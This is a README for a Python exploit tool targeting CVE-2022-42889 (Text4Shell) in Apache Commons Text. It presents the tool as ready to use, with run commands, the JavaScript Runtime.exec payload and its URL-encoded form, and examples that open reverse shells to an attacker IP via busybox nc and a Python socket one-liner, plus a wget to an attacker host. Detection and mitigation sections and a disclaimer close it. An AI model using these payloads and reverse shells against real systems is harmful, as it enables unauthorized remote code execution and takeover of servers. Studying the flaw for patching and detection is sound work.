engranaabubakar/cve-2022-42889Python exploit for CVE-2022-42889 (Text4Shell) enabling remote code execution via Apache Commons Text interpolation. Supports reverse shell generation, SSRF, and custom command execution.
A Python exploit for CVE-2022-42889 (Text4Shell), a critical remote code execution vulnerability in Apache Commons Text versions prior to 1.10.0.
This exploit targets CVE-2022-42889 (Text4Shell), a vulnerability in Apache Commons Text that allows for through specially crafted input strings processed by the interpolator.
StringLookupThe vulnerability is similar in impact to Log4Shell but affects a different library. When user-controlled input is passed to vulnerable methods, an attacker can execute arbitrary code on the target system.
Apache Commons Text provides string interpolation through the StringLookup interface. The interpolator lookup allows for the evaluation of expressions with various prefixes, including:
${script:javascript:...} - Executes JavaScript code (Nashorn engine)${url:UTF-8:...} - Fetches URLs (SSRF)${dns:...} - DNS lookups| Product | Affected Versions | Patched Version |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (for RCE) | 15+ (Nashorn disabled) |
Note: Java versions ≥ 15 are not vulnerable to RCE via the script prefix (Nashorn disabled), but may still be vulnerable to SSRF via url and dns prefixes.
requests libraryInstall dependencies:
pip install requests
Usage
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
Arguments
Argument Description Required
-t, --target Target IP address ✅ Yes
-p, --port Target port (default: 8080) ❌ No
-c, --command Command to execute ✅ Yes
--lhost Your IP for reverse shell ✅ Yes
--lport Your port for reverse shell ✅ Yes
💻 Examples
Example 1: Simple Command Test
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
Example 2: Reverse Shell with netcat
bash
# Start listener
nc -lvnp 4444
# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
Example 3: Python Reverse Shell
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
Example 4: SSRF Test
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
🔧 How It Works
Payload Construction: The script creates a malicious string using the ${script:javascript:...} syntax:
javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
URL Encoding: Special characters are URL-encoded to ensure proper transmission:
text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
HTTP Request: The script sends a GET request to:
text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
Command Execution: If vulnerable, the target evaluates the JavaScript and executes the command.
🔍 Detection
Check if your system is vulnerable:
Manual Test:
bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
If the response contains 49 instead of ${script:javascript:7*7}, the system is vulnerable.
Version Check:
Check CHANGELOG or README files for Apache Commons Text version
Look for commons-text-*.jar files in the application
🛡️ Mitigation
Upgrade Apache Commons Text to version 1.10.0 or higher
xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
Upgrade to Java 15+ (disables Nashorn JavaScript engine)
Input Validation: Implement strict validation of user input
Disable Interpolation: If not needed, avoid using StringSubstitutor.createInterpolator()
Web Application Firewall (WAF): Block requests containing ${script:javascript:} patterns
📚 References
NVD - CVE-2022-42889
Apache Commons Text Security
Tarlogic - Text4Shell Analysis
CISA Alert
⚠️ Disclaimer
This exploit is for educational purposes only and authorized security testing only. Unauthorized use of this exploit against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse or damage caused by this tool.
📄 License
This project is licensed under the MIT License - see the LICENSE file for details.
🤝 Contributing
Contributions, issues, and feature requests are welcome! Feel free to check the issues page.
Happy Hacking! 🚀